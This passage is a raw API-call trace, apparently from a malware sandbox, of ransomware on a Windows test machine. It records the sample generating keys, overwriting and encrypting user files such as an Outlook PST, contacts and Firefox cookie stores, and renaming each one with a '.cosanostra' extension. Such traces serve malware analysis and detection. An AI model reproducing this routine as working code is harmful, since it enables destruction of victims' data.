pdwDataLen=0x2abf010*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf010*=0x30) returned 1 [0097.917] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.918] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst") returned 80 [0097.918] StrStrW (lpFirst="voeimd@djhreuu.uhd.pst", lpSrch=".txt") returned 0x0 [0097.919] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.919] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abefd4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abefd4*=0x2800, lpOverlapped=0x0) returned 1 [0097.920] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.920] WriteFile (in: hFile=0x138, lpBuffer=0x2abf014*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abefd4, lpOverlapped=0x0 | out: lpBuffer=0x2abf014*, lpNumberOfBytesWritten=0x2abefd4*=0x4, lpOverlapped=0x0) returned 1 [0098.131] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abefd4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abefd4*=0x30, lpOverlapped=0x0) returned 1 [0098.131] CloseHandle (hObject=0x138) returned 1 [0098.131] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.cosanostra") returned 91 [0098.131] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst.cosanostra")) returned 1 [0098.132] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf018 | out: pbBuffer=0x2abf018) returned 1 [0098.132] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf010*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf010*=0x30) returned 1 [0098.133] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ufhI N3lCWkFMVBkiR\\Kum63G.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ufhi n3lcwkfmvbkir\\kum63g.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.133] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ufhI N3lCWkFMVBkiR\\Kum63G.wav") returned 71 [0098.133] StrStrW (lpFirst="Kum63G.wav", lpSrch=".txt") returned 0x0 [0098.134] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.134] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abefd4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abefd4*=0x2800, lpOverlapped=0x0) returned 1 [0098.134] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.134] WriteFile (in: hFile=0x138, lpBuffer=0x2abf014*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abefd4, lpOverlapped=0x0 | out: lpBuffer=0x2abf014*, lpNumberOfBytesWritten=0x2abefd4*=0x4, lpOverlapped=0x0) returned 1 [0098.134] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abefd4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abefd4*=0x30, lpOverlapped=0x0) returned 1 [0098.135] CloseHandle (hObject=0x138) returned 1 [0098.233] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ufhI N3lCWkFMVBkiR\\Kum63G.wav.cosanostra") returned 82 [0098.233] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ufhI N3lCWkFMVBkiR\\Kum63G.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ufhi n3lcwkfmvbkir\\kum63g.wav"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ufhI N3lCWkFMVBkiR\\Kum63G.wav.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ufhi n3lcwkfmvbkir\\kum63g.wav.cosanostra")) returned 1 [0098.293] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf010 | out: pbBuffer=0x2abf010) returned 1 [0098.293] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf008*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf008*=0x30) returned 1 [0098.293] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0098.293] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact") returned 64 [0098.293] StrStrW (lpFirst="lulcit amkdfe.contact", lpSrch=".txt") returned 0x0 [0098.295] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffb6a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.295] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x496, lpNumberOfBytesWritten=0x2abefcc, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abefcc*=0x496, lpOverlapped=0x0) returned 1 [0098.295] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.295] WriteFile (in: hFile=0x15c, lpBuffer=0x2abf00c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abefcc, lpOverlapped=0x0 | out: lpBuffer=0x2abf00c*, lpNumberOfBytesWritten=0x2abefcc*=0x4, lpOverlapped=0x0) returned 1 [0098.295] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abefcc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abefcc*=0x30, lpOverlapped=0x0) returned 1 [0098.295] CloseHandle (hObject=0x15c) returned 1 [0098.295] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact.cosanostra") returned 75 [0098.295] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact.cosanostra")) returned 1 [0098.296] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf010 | out: pbBuffer=0x2abf010) returned 1 [0098.296] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf008*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf008*=0x30) returned 1 [0098.296] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0098.297] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini") returned 54 [0098.297] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0098.298] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe64, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.298] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x19c, lpNumberOfBytesWritten=0x2abefcc, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abefcc*=0x19c, lpOverlapped=0x0) returned 1 [0098.298] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.298] WriteFile (in: hFile=0x15c, lpBuffer=0x2abf00c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abefcc, lpOverlapped=0x0 | out: lpBuffer=0x2abf00c*, lpNumberOfBytesWritten=0x2abefcc*=0x4, lpOverlapped=0x0) returned 1 [0098.298] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abefcc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abefcc*=0x30, lpOverlapped=0x0) returned 1 [0098.298] CloseHandle (hObject=0x15c) returned 1 [0098.298] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini.cosanostra") returned 65 [0098.298] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\desktop.ini.cosanostra")) returned 1 [0098.299] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf008 | out: pbBuffer=0x2abf008) returned 1 [0098.299] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf000*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf000*=0x30) returned 1 [0098.299] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0098.300] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact") returned 63 [0098.300] StrStrW (lpFirst="chucu jadnvk.contact", lpSrch=".txt") returned 0x0 [0098.372] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffb67, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.373] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x499, lpNumberOfBytesWritten=0x2abefc4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abefc4*=0x499, lpOverlapped=0x0) returned 1 [0098.373] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.373] WriteFile (in: hFile=0x15c, lpBuffer=0x2abf004*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abefc4, lpOverlapped=0x0 | out: lpBuffer=0x2abf004*, lpNumberOfBytesWritten=0x2abefc4*=0x4, lpOverlapped=0x0) returned 1 [0098.373] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abefc4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abefc4*=0x30, lpOverlapped=0x0) returned 1 [0098.373] CloseHandle (hObject=0x15c) returned 1 [0098.373] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact.cosanostra") returned 74 [0098.373] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact.cosanostra")) returned 1 [0098.374] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf008 | out: pbBuffer=0x2abf008) returned 1 [0098.374] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf000*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf000*=0x30) returned 1 [0098.374] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\mx2a0pVDoJY.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mx2a0pvdojy.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0098.375] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\mx2a0pVDoJY.flv") returned 65 [0098.375] StrStrW (lpFirst="mx2a0pVDoJY.flv", lpSrch=".txt") returned 0x0 [0098.375] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.375] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abefc4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abefc4*=0x2800, lpOverlapped=0x0) returned 1 [0098.376] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.376] WriteFile (in: hFile=0x15c, lpBuffer=0x2abf004*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abefc4, lpOverlapped=0x0 | out: lpBuffer=0x2abf004*, lpNumberOfBytesWritten=0x2abefc4*=0x4, lpOverlapped=0x0) returned 1 [0098.376] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abefc4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abefc4*=0x30, lpOverlapped=0x0) returned 1 [0098.376] CloseHandle (hObject=0x15c) returned 1 [0098.688] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\mx2a0pVDoJY.flv.cosanostra") returned 76 [0098.688] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\mx2a0pVDoJY.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mx2a0pvdojy.flv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\mx2a0pVDoJY.flv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mx2a0pvdojy.flv.cosanostra")) returned 1 [0098.965] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeff8 | out: pbBuffer=0x2abeff8) returned 1 [0098.965] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abeff0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abeff0*=0x30) returned 1 [0098.965] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webappsstore.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\webappsstore.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0098.966] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webappsstore.sqlite") returned 111 [0098.966] StrStrW (lpFirst="webappsstore.sqlite", lpSrch=".txt") returned 0x0 [0099.087] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.087] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abefb4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abefb4*=0x2800, lpOverlapped=0x0) returned 1 [0099.087] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.088] WriteFile (in: hFile=0x160, lpBuffer=0x2abeff4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abefb4, lpOverlapped=0x0 | out: lpBuffer=0x2abeff4*, lpNumberOfBytesWritten=0x2abefb4*=0x4, lpOverlapped=0x0) returned 1 [0099.088] WriteFile (in: hFile=0x160, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abefb4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abefb4*=0x30, lpOverlapped=0x0) returned 1 [0099.088] CloseHandle (hObject=0x160) returned 1 [0099.088] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webappsstore.sqlite.cosanostra") returned 122 [0099.088] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webappsstore.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\webappsstore.sqlite"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webappsstore.sqlite.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\webappsstore.sqlite.cosanostra")) returned 1 [0099.131] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeff8 | out: pbBuffer=0x2abeff8) returned 1 [0099.132] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abeff0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abeff0*=0x30) returned 1 [0099.132] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\cookies.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0099.132] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite") returned 106 [0099.132] StrStrW (lpFirst="cookies.sqlite", lpSrch=".txt") returned 0x0 [0099.134] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.134] WriteFile (in: hFile=0x160, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abefb4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abefb4*=0x2800, lpOverlapped=0x0) returned 1 [0099.134] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.134] WriteFile (in: hFile=0x160, lpBuffer=0x2abeff4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abefb4, lpOverlapped=0x0 | out: lpBuffer=0x2abeff4*, lpNumberOfBytesWritten=0x2abefb4*=0x4, lpOverlapped=0x0) returned 1 [0099.340] WriteFile (in: hFile=0x160, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abefb4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abefb4*=0x30, lpOverlapped=0x0) returned 1 [0099.341] CloseHandle (hObject=0x160) returned 1 [0099.341] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite.cosanostra") returned 117 [0099.341] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\cookies.sqlite"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\cookies.sqlite.cosanostra")) returned 1 [0099.343] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeff0 | out: pbBuffer=0x2abeff0) returned 1 [0099.343] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abefe8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abefe8*=0x30) returned 1 [0099.343] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\recent\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0099.347] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat") returned 83 [0099.347] StrStrW (lpFirst="index.dat", lpSrch=".txt") returned 0x0 [0099.348] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffffcc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.348] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x2abefac, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abefac*=0x34, lpOverlapped=0x0) returned 1 [0099.348] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.348] WriteFile (in: hFile=0x160, lpBuffer=0x2abefec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abefac, lpOverlapped=0x0 | out: lpBuffer=0x2abefec*, lpNumberOfBytesWritten=0x2abefac*=0x4, lpOverlapped=0x0) returned 1 [0099.348] WriteFile (in: hFile=0x160, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abefac, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abefac*=0x30, lpOverlapped=0x0) returned 1 [0099.348] CloseHandle (hObject=0x160) returned 1 [0099.349] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat.cosanostra") returned 94 [0099.349] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\recent\\index.dat"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\recent\\index.dat.cosanostra")) returned 1 [0099.541] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abefe0 | out: 